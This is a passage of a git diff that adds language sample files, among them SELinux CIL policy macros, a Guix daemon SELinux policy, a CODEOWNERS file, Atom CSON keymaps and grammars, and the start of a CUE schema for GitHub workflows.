+                         (allow ARG1 certfile read_sock_file))
+
+                  (macro readwrite_certfile ((type ARG1))
+                         (allow ARG1 certfile (allfiles (readwrite))))
+
+                  (macro readwrite_certfile_blk_files ((type ARG1))
+                         (allow ARG1 certfile readwrite_blk_file))
+
+                  (macro readwrite_certfile_chr_files ((type ARG1))
+                         (allow ARG1 certfile readwrite_chr_file))
+
+                  (macro readwrite_certfile_dirs ((type ARG1))
+                         (allow ARG1 certfile readwrite_dir))
+
+                  (macro readwrite_certfile_fifo_files ((type ARG1))
+                         (allow ARG1 certfile readwrite_fifo_file))
+
+                  (macro readwrite_certfile_files ((type ARG1))
+                         (allow ARG1 certfile readwrite_file))
+
+                  (macro readwriteinherited_certfile_blk_files ((type ARG1))
+                         (allow ARG1 certfile readwriteinherited_blk_file))
+
+                  (macro readwriteinherited_certfile_chr_files ((type ARG1))
+                         (allow ARG1 certfile readwriteinherited_chr_file))
+
+                  (macro readwriteinherited_certfile_dirs ((type ARG1))
+                         (allow ARG1 certfile readwriteinherited_dir))
+
+                  (macro readwriteinherited_certfile_fifo_files ((type ARG1))
+                         (allow ARG1 certfile readwriteinherited_fifo_file))
+
+                  (macro readwriteinherited_certfile_files ((type ARG1))
+                         (allow ARG1 certfile readwriteinherited_file))
+
+                  (macro readwriteinherited_certfile_sock_files ((type ARG1))
+                         (allow ARG1 certfile readwriteinherited_sock_file))
+
+                  (macro readwrite_certfile_lnk_files ((type ARG1))
+                         (allow ARG1 certfile readwrite_lnk_file))
+
+                  (macro readwrite_certfile_sock_files ((type ARG1))
+                         (allow ARG1 certfile readwrite_sock_file))
+
+                  (macro relabel_certfile ((type ARG1))
+                         (allow ARG1 certfile (allfiles (relabel))))
+
+                  (macro relabel_certfile_blk_files ((type ARG1))
+                         (allow ARG1 certfile relabel_blk_file))
+
+                  (macro relabel_certfile_chr_files ((type ARG1))
+                         (allow ARG1 certfile relabel_chr_file))
+
+                  (macro relabel_certfile_dirs ((type ARG1))
+                         (allow ARG1 certfile relabel_dir))
+
+                  (macro relabel_certfile_fifo_files ((type ARG1))
+                         (allow ARG1 certfile relabel_fifo_file))
+
+                  (macro relabel_certfile_files ((type ARG1))
+                         (allow ARG1 certfile relabel_file))
+
+                  (macro relabel_certfile_lnk_files ((type ARG1))
+                         (allow ARG1 certfile relabel_lnk_file))
+
+                  (macro relabel_certfile_sock_files ((type ARG1))
+                         (allow ARG1 certfile relabel_sock_file))
+
+                  (macro relabelfrom_certfile ((type ARG1))
+                         (allow ARG1 certfile (allfiles (relabelfrom))))
+
+                  (macro relabelfrom_certfile_blk_files ((type ARG1))
+                         (allow ARG1 certfile relabelfrom_blk_file))
+
+                  (macro relabelfrom_certfile_chr_files ((type ARG1))
+                         (allow ARG1 certfile relabelfrom_chr_file))
+
+                  (macro relabelfrom_certfile_dirs ((type ARG1))
+                         (allow ARG1 certfile relabelfrom_dir))
+
+                  (macro relabelfrom_certfile_fifo_files ((type ARG1))
+                         (allow ARG1 certfile relabelfrom_fifo_file))
+
+                  (macro relabelfrom_certfile_files ((type ARG1))
+                         (allow ARG1 certfile relabelfrom_file))
+
+                  (macro relabelfrom_certfile_lnk_files ((type ARG1))
+                         (allow ARG1 certfile relabelfrom_lnk_file))
+
+                  (macro relabelfrom_certfile_sock_files ((type ARG1))
+                         (allow ARG1 certfile relabelfrom_sock_file))
+
+                  (macro relabelto_certfile ((type ARG1))
+                         (allow ARG1 certfile (allfiles (relabelto))))
+
+                  (macro relabelto_certfile_blk_files ((type ARG1))
+                         (allow ARG1 certfile relabelto_blk_file))
+
+                  (macro relabelto_certfile_chr_files ((type ARG1))
+                         (allow ARG1 certfile relabelto_chr_file))
+
+                  (macro relabelto_certfile_dirs ((type ARG1))
+                         (allow ARG1 certfile relabelto_dir))
+
+                  (macro relabelto_certfile_fifo_files ((type ARG1))
+                         (allow ARG1 certfile relabelto_fifo_file))
+
+                  (macro relabelto_certfile_files ((type ARG1))
+                         (allow ARG1 certfile relabelto_file))
+
+                  (macro relabelto_certfile_lnk_files ((type ARG1))
+                         (allow ARG1 certfile relabelto_lnk_file))
+
+                  (macro relabelto_certfile_sock_files ((type ARG1))
+                         (allow ARG1 certfile relabelto_sock_file))
+
+                  (macro rename_certfile ((type ARG1))
+                         (allow ARG1 certfile (allfiles (rename))))
+
+                  (macro rename_certfile_blk_files ((type ARG1))
+                         (allow ARG1 certfile rename_blk_file))
+
+                  (macro rename_certfile_chr_files ((type ARG1))
+                         (allow ARG1 certfile rename_chr_file))
+
+                  (macro rename_certfile_dirs ((type ARG1))
+                         (allow ARG1 certfile rename_dir))
+
+                  (macro rename_certfile_fifo_files ((type ARG1))
+                         (allow ARG1 certfile rename_fifo_file))
+
+                  (macro rename_certfile_files ((type ARG1))
+                         (allow ARG1 certfile rename_file))
+
+                  (macro rename_certfile_lnk_files ((type ARG1))
+                         (allow ARG1 certfile rename_lnk_file))
+
+                  (macro rename_certfile_sock_files ((type ARG1))
+                         (allow ARG1 certfile rename_sock_file))
+
+                  (macro search_certfile_dirs ((type ARG1))
+                         (allow ARG1 certfile search_dir))
+
+                  (macro write_certfile ((type ARG1))
+                         (allow ARG1 certfile (allfiles (write))))
+
+                  (macro write_certfile_blk_files ((type ARG1))
+                         (allow ARG1 certfile write_blk_file))
+
+                  (macro write_certfile_chr_files ((type ARG1))
+                         (allow ARG1 certfile write_chr_file))
+
+                  (macro write_certfile_dirs ((type ARG1))
+                         (allow ARG1 certfile write_dir))
+
+                  (macro write_certfile_fifo_files ((type ARG1))
+                         (allow ARG1 certfile write_fifo_file))
+
+                  (macro write_certfile_files ((type ARG1))
+                         (allow ARG1 certfile write_file))
+
+                  (macro writeinherited_certfile_blk_files ((type ARG1))
+                         (allow ARG1 certfile writeinherited_blk_file))
+
+                  (macro writeinherited_certfile_chr_files ((type ARG1))
+                         (allow ARG1 certfile writeinherited_chr_file))
+
+                  (macro writeinherited_certfile_dirs ((type ARG1))
+                         (allow ARG1 certfile writeinherited_dir))
+
+                  (macro writeinherited_certfile_fifo_files ((type ARG1))
+                         (allow ARG1 certfile writeinherited_fifo_file))
+
+                  (macro writeinherited_certfile_files ((type ARG1))
+                         (allow ARG1 certfile writeinherited_file))
+
+                  (macro writeinherited_certfile_sock_files ((type ARG1))
+                         (allow ARG1 certfile writeinherited_sock_file))
+
+                  (macro write_certfile_lnk_files ((type ARG1))
+                         (allow ARG1 certfile write_lnk_file))
+
+                  (macro write_certfile_sock_files ((type ARG1))
+                         (allow ARG1 certfile write_sock_file))
+
+                  ;;
+                  ;; Policy
+                  ;;
+
+                  (blockabstract obj_macro_template))
+
+           (block obj_template
+
+                  ;;
+                  ;; Policy
+                  ;;
+
+                  (blockabstract obj_template)
+
+                  (blockinherit .file.cert.obj_base_template)
+                  (blockinherit .file.cert.obj_macro_template))
+
+           (block except
+
+                  ;;
+                  ;; Policy
+                  ;;
+
+                  (blockinherit obj_all_macro_template)
+
+                  (typeattributeset
+                   obj_typeattr
+                   (and
+                    cert.obj_typeattr
+                    (not
+                     (exception.obj_typeattr))))
+
+                  (optional certfile_opt_sandbox
+                            (call .file.sandboxexception.obj_type
+                                  (obj_typeattr))))
+
+           (block exception
+
+                  ;;
+                  ;; Policy
+                  ;;
+
+                  (blockinherit obj_all_macro_template))))
diff --git a/samples/CIL/guix-daemon.cil b/samples/CIL/guix-daemon.cil
new file mode 100644
index 0000000000..229bc4a15a
--- /dev/null
+++ b/samples/CIL/guix-daemon.cil
@@ -0,0 +1,280 @@
+;;; GNU Guix --- Functional package management for GNU
+;;; Copyright © 2018 Ricardo Wurmus <rekado@elephly.net>
+;;;
+;;; This file is part of GNU Guix.
+;;;
+;;; GNU Guix is free software; you can redistribute it and/or modify it
+;;; under the terms of the GNU General Public License as published by
+;;; the Free Software Foundation; either version 3 of the License, or (at
+;;; your option) any later version.
+;;;
+;;; GNU Guix is distributed in the hope that it will be useful, but
+;;; WITHOUT ANY WARRANTY; without even the implied warranty of
+;;; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+;;; GNU General Public License for more details.
+;;;
+;;; You should have received a copy of the GNU General Public License
+;;; along with GNU Guix.  If not, see <http://www.gnu.org/licenses/>.
+
+;; This is a specification for SELinux 2.7 written in the SELinux Common
+;; Intermediate Language (CIL).  It refers to types that must be defined in
+;; the system's base policy.
+
+(block guix_daemon
+  ;; Require existing types
+  (typeattributeset cil_gen_require init_t)
+  (typeattributeset cil_gen_require tmp_t)
+  (typeattributeset cil_gen_require nscd_var_run_t)
+  (typeattributeset cil_gen_require var_log_t)
+  (typeattributeset cil_gen_require domain)
+
+  ;; Declare own types
+  (type guix_daemon_t)
+  (roletype object_r guix_daemon_t)
+  (type guix_daemon_conf_t)
+  (roletype object_r guix_daemon_conf_t)
+  (type guix_daemon_exec_t)
+  (roletype object_r guix_daemon_exec_t)
+  (type guix_daemon_socket_t)
+  (roletype object_r guix_daemon_socket_t)
+  (type guix_store_content_t)
+  (roletype object_r guix_store_content_t)
+  (type guix_profiles_t)
+  (roletype object_r guix_profiles_t)
+
+  ;; These types are domains, thereby allowing process rules
+  (typeattributeset domain (guix_daemon_t guix_daemon_exec_t))
+
+  (level low (s0))
+
+  ;; When a process in init_t or guix_store_content_t spawns a
+  ;; guix_daemon_exec_t process, let it run in the guix_daemon_t context
+  (typetransition init_t guix_daemon_exec_t
+                  process guix_daemon_t)
+  (typetransition guix_store_content_t guix_daemon_exec_t
+                  process guix_daemon_t)
+
+  ;; Permit communication with NSCD
+  (allow guix_daemon_t
+         nscd_var_run_t
+         (file (map read)))
+  (allow guix_daemon_t
+         nscd_var_run_t
+         (dir (search)))
+  (allow guix_daemon_t
+         nscd_var_run_t
+         (sock_file (write)))
+  (allow guix_daemon_t
+         nscd_t
+         (fd (use)))
+  (allow guix_daemon_t
+         nscd_t
+         (unix_stream_socket (connectto)))
+
+  ;; Permit logging and temp file access
+  (allow guix_daemon_t
+         tmp_t
+         (lnk_file (setattr unlink)))
+  (allow guix_daemon_t
+         tmp_t
+         (dir (create
+               rmdir
+               add_name remove_name
+               open read write
+               getattr setattr
+               search)))
+  (allow guix_daemon_t
+         var_log_t
+         (file (create getattr open write)))
+  (allow guix_daemon_t
+         var_log_t
+         (dir (getattr write add_name)))
+  (allow guix_daemon_t
+         var_run_t
+         (lnk_file (read)))
+  (allow guix_daemon_t
+         var_run_t
+         (dir (search)))
+
+  ;; Spawning processes, execute helpers
+  (allow guix_daemon_t
+         self
+         (process (fork)))
+  (allow guix_daemon_t
+         guix_daemon_exec_t
+         (file (execute execute_no_trans read open)))
+
+  ;; TODO: unknown
+  (allow guix_daemon_t
+         root_t
+         (dir (mounton)))
+  (allow guix_daemon_t
+         fs_t
+         (filesystem (getattr)))
+  (allow guix_daemon_conf_t
+         fs_t
+         (filesystem (associate)))
+
+  ;; Build isolation
+  (allow guix_daemon_t
+         guix_store_content_t
+         (file (mounton)))
+  (allow guix_store_content_t
+         fs_t
+         (filesystem (associate)))
+  (allow guix_daemon_t
+         guix_store_content_t
+         (dir (mounton)))
+  (allow guix_daemon_t
+         guix_daemon_t
+         (capability (net_admin
+                      fsetid fowner
+                      chown setuid setgid
+                      dac_override dac_read_search
+                      sys_chroot)))
+  (allow guix_daemon_t
+         fs_t
+         (filesystem (unmount)))
+  (allow guix_daemon_t
+         devpts_t
+         (filesystem (mount)))
+  (allow guix_daemon_t
+         devpts_t
+         (chr_file (setattr getattr)))
+  (allow guix_daemon_t
+         tmpfs_t
+         (filesystem (mount)))
+  (allow guix_daemon_t
+         tmpfs_t
+         (dir (getattr)))
+  (allow guix_daemon_t
+         proc_t
+         (filesystem (mount)))
+  (allow guix_daemon_t
+         null_device_t
+         (chr_file (getattr open read write)))
+  (allow guix_daemon_t
+         kvm_device_t
+         (chr_file (getattr)))
+  (allow guix_daemon_t
+         zero_device_t
+         (chr_file (getattr)))
+  (allow guix_daemon_t
+         urandom_device_t
+         (chr_file (getattr)))
+  (allow guix_daemon_t
+         random_device_t
+         (chr_file (getattr)))
+  (allow guix_daemon_t
+         devtty_t
+         (chr_file (getattr)))
+
+  ;; Access to store items
+  (allow guix_daemon_t
+         guix_store_content_t
+         (dir (reparent
+               create
+               getattr setattr
+               search rename
+               add_name remove_name
+               open write
+               rmdir)))
+  (allow guix_daemon_t
+         guix_store_content_t
+         (file (create
+                lock
+                setattr getattr
+                execute execute_no_trans
+                link unlink
+                map
+                rename
+                open read write)))
+  (allow guix_daemon_t
+         guix_store_content_t
+         (lnk_file (create
+                    getattr setattr
+                    link unlink
+                    read
+                    rename)))
+
+  ;; Access to configuration files and directories
+  (allow guix_daemon_t
+         guix_daemon_conf_t
+         (dir (search
+               setattr getattr
+               add_name remove_name
+               open read write)))
+  (allow guix_daemon_t
+         guix_daemon_conf_t
+         (file (create
+                lock
+                map
+                getattr setattr
+                unlink
+                open read write)))
+  (allow guix_daemon_t
+         guix_daemon_conf_t
+         (lnk_file (create getattr rename unlink)))
+
+  ;; Access to profiles
+  (allow guix_daemon_t
+         guix_profiles_t
+         (dir (getattr setattr read open)))
+  (allow guix_daemon_t
+         guix_profiles_t
+         (lnk_file (read getattr)))
+
+  ;; Access to profile links in the home directory
+  ;; TODO: allow access to profile links *anywhere* on the filesystem
+  (allow guix_daemon_t
+         user_home_t
+         (lnk_file (read getattr)))
+  (allow guix_daemon_t
+         user_home_t
+         (dir (search)))
+
+  ;; Socket operations
+  (allow guix_daemon_t
+         init_t
+         (fd (use)))
+  (allow guix_daemon_t
+         init_t
+         (unix_stream_socket (write)))
+  (allow guix_daemon_t
+         guix_daemon_conf_t
+         (unix_stream_socket (listen)))
+  (allow guix_daemon_t
+         guix_daemon_conf_t
+         (sock_file (create unlink)))
+  (allow guix_daemon_t
+         self
+         (unix_stream_socket (create
+                              read write
+                              connect bind accept
+                              getopt setopt)))
+  (allow guix_daemon_t
+         self
+         (fifo_file (write read)))
+  (allow guix_daemon_t
+         self
+         (udp_socket (ioctl create)))
+
+  ;; Label file system
+  (filecon "/usr/local/etc/guix(/.*)?"
+           any (system_u object_r guix_daemon_conf_t (low low)))
+  (filecon "/var/guix(/.*)?"
+           any (system_u object_r guix_daemon_conf_t (low low)))
+  (filecon "/var/guix/profiles(/.*)?"
+           any (system_u object_r guix_profiles_t (low low)))
+  (filecon "/gnu"
+           dir (unconfined_u object_r guix_store_content_t (low low)))
+  (filecon "/gnu/store(/.+)?"
+           any (unconfined_u object_r guix_store_content_t (low low)))
+  (filecon "/gnu/store/[^/]+/.+"
+           any (unconfined_u object_r guix_store_content_t (low low)))
+  (filecon "/usr/local/bin/guix-daemon"
+           file (system_u object_r guix_daemon_exec_t (low low)))
+  (filecon "/gnu/store/.+-(guix-.+|profile)/bin/guix-daemon"
+           file (system_u object_r guix_daemon_exec_t (low low)))
+  (filecon "/var/guix/daemon-socket/socket"
+           any (system_u object_r guix_daemon_socket_t (low low))))
diff --git a/samples/CODEOWNERS/filenames/CODEOWNERS b/samples/CODEOWNERS/filenames/CODEOWNERS
new file mode 100644
index 0000000000..f5b60a6a90
--- /dev/null
+++ b/samples/CODEOWNERS/filenames/CODEOWNERS
@@ -0,0 +1,33 @@
+# Lines starting with '#' are comments.
+# Each line is a file pattern followed by one or more owners.
+
+# More details are here: https://help.github.com/articles/about-codeowners/
+
+# The '*' pattern is global owners.
+
+# Order is important. The last matching pattern has the most precedence.
+# The folders are ordered as follows:
+
+# In each subsection folders are ordered first by depth, then alphabetically.
+# This should make it easy to add new rules without breaking existing ones.
+
+# Global rule:
+*           @dotnet/docs
+
+# C# samples:
+/csharp/**  @BillWagner
+
+# ML.NET samples:
+/machine-learning/**  @luisquintanilla
+
+# WPF folders:
+/wpf/**   @adegeo
+
+# Windows forms areas:
+/windowsforms/** @adegeo @dotnet/dotnet-winforms
+
+
+#-------------------------------------------------------#
+# https://github.com/dotnet/samples/blob/master/LICENSE #
+#            CC Attribution 4.0 International           #
+#-------------------------------------------------------#
diff --git a/samples/CSON/base.cson b/samples/CSON/base.cson
new file mode 100644
index 0000000000..d9941643c9
--- /dev/null
+++ b/samples/CSON/base.cson
@@ -0,0 +1,72 @@
+'atom-text-editor':
+  # Platform Bindings
+  'home': 'editor:move-to-first-character-of-line'
+  'end': 'editor:move-to-end-of-screen-line'
+  'shift-home': 'editor:select-to-first-character-of-line'
+  'shift-end': 'editor:select-to-end-of-line'
+
+'atom-text-editor:not([mini])':
+  # Atom Specific
+  'ctrl-C': 'editor:copy-path'
+
+  # Sublime Parity
+  'tab': 'editor:indent'
+  'enter': 'editor:newline'
+  'shift-tab': 'editor:outdent-selected-rows'
+  'ctrl-K': 'editor:delete-line'
+
+'.select-list atom-text-editor[mini]':
+  'enter': 'core:confirm'
+
+'.tool-panel.panel-left, .tool-panel.panel-right':
+  'escape': 'tool-panel:unfocus'
+
+'atom-text-editor !important, atom-text-editor[mini] !important':
+  'escape': 'editor:consolidate-selections'
+
+# allow standard input fields to work correctly
+'body .native-key-bindings':
+  'tab': 'core:focus-next'
+  'shift-tab': 'core:focus-previous'
+  'enter': 'native!'
+  'backspace': 'native!'
+  'shift-backspace': 'native!'
+  'delete': 'native!'
+  'up': 'native!'
+  'down': 'native!'
+  'shift-up': 'native!'
+  'shift-down': 'native!'
+  'alt-up': 'native!'
+  'alt-down': 'native!'
+  'alt-shift-up': 'native!'
+  'alt-shift-down': 'native!'
+  'cmd-up': 'native!'
+  'cmd-down': 'native!'
+  'cmd-shift-up': 'native!'
+  'cmd-shift-down': 'native!'
+  'ctrl-up': 'native!'
+  'ctrl-down': 'native!'
+  'ctrl-shift-up': 'native!'
+  'ctrl-shift-down': 'native!'
+  'left': 'native!'
+  'right': 'native!'
+  'shift-left': 'native!'
+  'shift-right': 'native!'
+  'alt-left': 'native!'
+  'alt-right': 'native!'
+  'alt-shift-left': 'native!'
+  'alt-shift-right': 'native!'
+  'cmd-left': 'native!'
+  'cmd-right': 'native!'
+  'cmd-shift-left': 'native!'
+  'cmd-shift-right': 'native!'
+  'ctrl-left': 'native!'
+  'ctrl-right': 'native!'
+  'ctrl-shift-left': 'native!'
+  'ctrl-shift-right': 'native!'
+  'ctrl-b': 'native!'
+  'ctrl-f': 'native!'
+  'ctrl-F': 'native!'
+  'ctrl-B': 'native!'
+  'ctrl-h': 'native!'
+  'ctrl-d': 'native!'
diff --git a/samples/CSON/config.cson b/samples/CSON/config.cson
new file mode 100644
index 0000000000..5b0415b2c2
--- /dev/null
+++ b/samples/CSON/config.cson
@@ -0,0 +1,59 @@
+directoryIcons:
+
+	Atom:
+		icon: "atom"
+		match: /^\.atom$/
+		colour: "dark-green"
+
+	Bower:
+		icon: "bower"
+		match: /^bower[-_]components$/
+		colour: "bower"
+
+	Dropbox:
+		icon: "dropbox"
+		match: /^(?:Dropbox|\.dropbox\.cache)$/
+		colour: "medium-blue"
+
+	Git:
+		icon: "git"
+		match: /^\.git$/
+
+	GitHub:
+		icon: "github"
+		match: /^\.github$/
+
+	Meteor:
+		icon: "meteor"
+		match: /^\.meteor$/
+
+	NodeJS:
+		icon: "node"
+		match: /^node_modules$/
+		colour: "medium-green"
+
+	Package:
+		icon: "package"
+		match: /^\.bundle$/i
+
+	TextMate:
+		icon: "textmate"
+		match: ".tmBundle"
+
+
+fileIcons:
+
+	ABAP:
+		icon: "abap"
+		scope: "abp"
+		match: ".abap"
+		colour: "medium-orange"
+
+	ActionScript: # Or Flash-related
+		icon: "as"
+		match: [
+			[".swf", "medium-blue"]
+			[".as", "medium-red", scope: /\.(?:flex-config|actionscript(?:\.\d+)?)$/i, alias: /ActionScript\s?3|as3/i]
+			[".jsfl", "auto-yellow"]
+			[".swc", "dark-red"]
+		]
diff --git a/samples/CSON/ff-sfd.cson b/samples/CSON/ff-sfd.cson
new file mode 100644
index 0000000000..409d5caaa4
--- /dev/null
+++ b/samples/CSON/ff-sfd.cson
@@ -0,0 +1,108 @@
+name: "Spline Font Database"
+scopeName: "text.sfd"
+fileTypes: ["sfd"]
+firstLineMatch: "^SplineFontDB: [\\d.]+"
+patterns: [include: "#main"]
+
+repository:
+	main:
+		patterns: [
+			{include: "#punctuation"}
+			{include: "#private"}
+			{include: "#image"}
+			{include: "#pickleData"}
+			{include: "#sections"}
+			{include: "#copyright"}
+			{include: "#property"}
+			{include: "#control"}
+			{include: "#address"}
+			{include: "#encoding"}
+			{include: "source.fontforge#shared"}
+			{include: "#colour"}
+		]
+	
+	punctuation:
+		patterns: [
+			{match: "<|>",  name: "punctuation.definition.brackets.angle.sfd"}
+			{match: "[{}]", name: "punctuation.definition.brackets.curly.sfd"}
+		]
+
+	private:
+		name: "meta.section.private.sfd"
+		begin: "^BeginPrivate(?=:)"
+		end:   "^EndPrivate\\b"
+		beginCaptures: 0: name: "keyword.control.begin.private.sfd"
+		endCaptures:   0: name: "keyword.control.end.private.sfd"
+		patterns: [
+			{match: "^\\S+", name: "entity.name.private.property.sfd"}
+			{include: "$self"}
+		]
+	
+	image:
+		name: "meta.image.sfd"
+		begin: "^(Image)(?=:)(.+)$"
+		end:   "^(EndImage)\\b"
+		contentName: "string.unquoted.raw.data.sfd"
+		beginCaptures:
+			1: name: "keyword.control.begin.image.sfd"
+			2: patterns: [include: "$self"]
+		endCaptures:
+			1: name: "keyword.control.end.image.sfd"
+
+	pickleData:
+		name: "meta.pickle-data.sfd"
+		begin: "^(PickledData)(:)\\s*(\")"
+		end:   '"'
+		beginCaptures:
+			1: name: "entity.name.property.sfd"
+			2: name: "punctuation.separator.dictionary.key-value.sfd"
+			3: name: "punctuation.definition.string.begin.sfd"
+		endCaptures:
+			0: name: "punctuation.definition.string.end.sfd"
+		patterns: [match: "\\\\.", name: "constant.character.escape.sfd"]
+
+	sections:
+		name: "meta.section.${2:/downcase}.sfd"
+		begin: "^(Start|Begin)([A-Z]\\w+)(?=:)"
+		end:   "^(End\\2)\\b"
+		beginCaptures: 0: name: "keyword.control.begin.${2:/downcase}.sfd"
+		endCaptures:   0: name: "keyword.control.end.${2:/downcase}.sfd"
+		patterns: [include: "$self"]
+
+	control:
+		name: "keyword.control.${1:/downcase}.sfd"
+		match: "\\b(Fore|Back|SplineSet|^End\\w+)\\b"
+
+	colour:
+		name: "constant.other.hex.colour.sfd"
+		match: "(#)[A-Fa-f0-9]{3,}|(?<=\\s)[A-Fa-f0-9]{6,8}"
+		captures:
+			1: name: "punctuation.definition.colour.sfd"
+
+	encoding:
+		name: "constant.language.encoding.sfd"
+		match: "(?i)\\b(ISO[-\\w]+)(?<=\\d)(?=\\s|$)"
+
+	# Don't highlight numbers in freeform strings (years/version strings)
+	copyright:
+		name: "meta.${1:/downcase}-string.sfd"
+		begin: "^(Copyright|U?Comments?|\\w+Name)(:)"
+		end:   "$"
+		beginCaptures:
+			1: name: "entity.name.property.sfd"
+			2: name: "punctuation.separator.dictionary.key-value.sfd"
+		patterns: [include: "source.fontforge#stringEscapes"]
+	
+	# No idea what this is, but it looks distracting without a fix
+	# Assuming it's referring to a memory register or something.
+	address:
+		match: "\\d+[xX][A-Fa-f0-9]+"
+		name: "constant.numeric.hexadecimal.sfd"
+	
+	property:
+		match: "^([^:]+)(:)"
+		name: "meta.dictionary.key-value.sfd"
+		captures:
+			1: name: "entity.name.property.sfd"
+			2: name: "punctuation.separator.dictionary.key-value.sfd"
+	
diff --git a/samples/CSON/wercker-status.cson b/samples/CSON/wercker-status.cson
new file mode 100644
index 0000000000..f4572b7ae4
--- /dev/null
+++ b/samples/CSON/wercker-status.cson
@@ -0,0 +1,11 @@
+'menu': [
+  {
+    'label': 'Packages'
+    'submenu': [
+      'label': 'Wercker Status'
+      'submenu': [
+        { 'label': 'Check now!', 'command': 'wercker-status:checknow' }
+      ]
+    ]
+  }
+]
diff --git a/samples/CUE/github-workflow.cue b/samples/CUE/github-workflow.cue
new file mode 100644
index 0000000000..ac72436c78
--- /dev/null
+++ b/samples/CUE/github-workflow.cue
@@ -0,0 +1,663 @@
+package json
+
+import "strings"
+
+#Workflow: {
+	@jsonschema(schema="http://json-schema.org/draft-07/schema")
+	null | bool | number | string | [...] | {
+		// The name of your workflow. GitHub displays the names of your
+		// workflows on your repository's actions page. If you omit this
+		// field, GitHub sets the name to the workflow's filename.
+		name?: string
+
+		// The name of the GitHub event that triggers the workflow. You
+		// can provide a single event string, array of events, array of
+		// event types, or an event configuration map that schedules a
+		// workflow or restricts the execution of a workflow to specific
+		// files, tags, or branch changes. For a list of available
+		// events, see
+		// https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows.
+		on: #event | [...#event] & [_, ...] | {
+			// Runs your workflow anytime the check_run event occurs. More
+			// than one activity type triggers this event. For information
+			// about the REST API, see
+			// https://developer.github.com/v3/checks/runs.
+			check_run?: #eventObject & {
+				types?: #types & [..."created" | "rerequested" | "completed" | "requested_action"] | *["created", "rerequested", "completed", "requested_action"]
+				...
+			}
+
+			// Runs your workflow anytime the check_suite event occurs. More
+			// than one activity type triggers this event. For information
+			// about the REST API, see
+			// https://developer.github.com/v3/checks/suites/.
+			check_suite?: #eventObject & {
+				types?: #types & [..."completed" | "requested" | "rerequested"] | *["completed", "requested", "rerequested"]
+				...
+			}
+
+			// Runs your workflow anytime someone creates a branch or tag,
+			// which triggers the create event. For information about the
+			// REST API, see
+			// https://developer.github.com/v3/git/refs/#create-a-reference.
+			create?: #eventObject
+
+			// Runs your workflow anytime someone deletes a branch or tag,
+			// which triggers the delete event. For information about the
+			// REST API, see
+			// https://developer.github.com/v3/git/refs/#delete-a-reference.
+			delete?: #eventObject
+
+			// Runs your workflow anytime someone creates a deployment, which
+			// triggers the deployment event. Deployments created with a
+			// commit SHA may not have a Git ref. For information about the
+			// REST API, see
+			// https://developer.github.com/v3/repos/deployments/.
+			deployment?: #eventObject
+
+			// Runs your workflow anytime a third party provides a deployment
+			// status, which triggers the deployment_status event.
+			// Deployments created with a commit SHA may not have a Git ref.
+			// For information about the REST API, see
+			// https://developer.github.com/v3/repos/deployments/#create-a-deployment-status.
+			deployment_status?: #eventObject
+
+			// Runs your workflow anytime when someone forks a repository,
+			// which triggers the fork event. For information about the REST
+			// API, see
+			// https://developer.github.com/v3/repos/forks/#create-a-fork.
+			fork?: #eventObject
+
+			// Runs your workflow when someone creates or updates a Wiki page,
+			// which triggers the gollum event.
+			gollum?: #eventObject
+
+			// Runs your workflow anytime the issue_comment event occurs. More
+			// than one activity type triggers this event. For information
+			// about the REST API, see
+			// https://developer.github.com/v3/issues/comments/.
+			issue_comment?: #eventObject & {
+				types?: #types & [..."created" | "edited" | "deleted"] | *["created", "edited", "deleted"]
+				...
+			}
+
+			// Runs your workflow anytime the issues event occurs. More than
+			// one activity type triggers this event. For information about
+			// the REST API, see https://developer.github.com/v3/issues.
+			issues?: #eventObject & {
+				types?: #types & [..."opened" | "edited" | "deleted" | "transferred" | "pinned" | "unpinned" | "closed" | "reopened" | "assigned" | "unassigned" | "labeled" | "unlabeled" | "locked" | "unlocked" | "milestoned" | "demilestoned"] | *["opened", "edited", "deleted", "transferred", "pinned", "unpinned", "closed", "reopened", "assigned", "unassigned", "labeled", "unlabeled", "locked", "unlocked", "milestoned", "demilestoned"]
+				...
+			}
+
+			// Runs your workflow anytime the label event occurs. More than
+			// one activity type triggers this event. For information about
+			// the REST API, see
+			// https://developer.github.com/v3/issues/labels/.
+			label?: #eventObject & {
+				types?: #types & [..."created" | "edited" | "deleted"] | *["created", "edited", "deleted"]
+				...
+			}
+
+			// Runs your workflow anytime the member event occurs. More than
+			// one activity type triggers this event. For information about
+			// the REST API, see
+			// https://developer.github.com/v3/repos/collaborators/.
+			member?: #eventObject & {
+				types?: #types & [..."added" | "edited" | "deleted"] | *["added", "edited", "deleted"]
+				...
+			}
+
+			// Runs your workflow anytime the milestone event occurs. More
+			// than one activity type triggers this event. For information
+			// about the REST API, see
+			// https://developer.github.com/v3/issues/milestones/.
+			milestone?: #eventObject & {
+				types?: #types & [..."created" | "closed" | "opened" | "edited" | "deleted"] | *["created", "closed", "opened", "edited", "deleted"]
+				...
+			}
+
+			// Runs your workflow anytime someone pushes to a GitHub
+			// Pages-enabled branch, which triggers the page_build event. For
+			// information about the REST API, see
+			// https://developer.github.com/v3/repos/pages/.
+			page_build?: #eventObject
+
+			// Runs your workflow anytime the project event occurs. More than
+			// one activity type triggers this event. For information about
+			// the REST API, see https://developer.github.com/v3/projects/.
+			project?: #eventObject & {
+				types?: #types & [..."created" | "updated" | "closed" | "reopened" | "edited" | "deleted"] | *["created", "updated", "closed", "reopened", "edited", "deleted"]
+				...
+			}
+
+			// Runs your workflow anytime the project_card event occurs. More
+			// than one activity type triggers this event. For information
+			// about the REST API, see
+			// https://developer.github.com/v3/projects/cards.
+			project_card?: #eventObject & {
+				types?: #types & [..."created" | "moved" | "converted" | "edited" | "deleted"] | *["created", "moved", "converted", "edited", "deleted"]
+				...
+			}
+
+			// Runs your workflow anytime the project_column event occurs.
+			// More than one activity type triggers this event. For
+			// information about the REST API, see
+			// https://developer.github.com/v3/projects/columns.
+			project_column?: #eventObject & {
+				types?: #types & [..."created" | "updated" | "moved" | "deleted"] | *["created", "updated", "moved", "deleted"]
+				...
+			}
+
+			// Runs your workflow anytime someone makes a private repository
+			// public, which triggers the public event. For information about
+			// the REST API, see https://developer.github.com/v3/repos/#edit.
+			public?: #eventObject
+
+			// Runs your workflow anytime the pull_request event occurs. More
+			// than one activity type triggers this event. For information
+			// about the REST API, see https://developer.github.com/v3/pulls.
+			// Note: Workflows do not run on private base repositories when
+			// you open a pull request from a forked repository.
+			// When you create a pull request from a forked repository to the
+			// base repository, GitHub sends the pull_request event to the
+			// base repository and no pull request events occur on the forked
+			// repository.
+			// Workflows don't run on forked repositories by default. You must
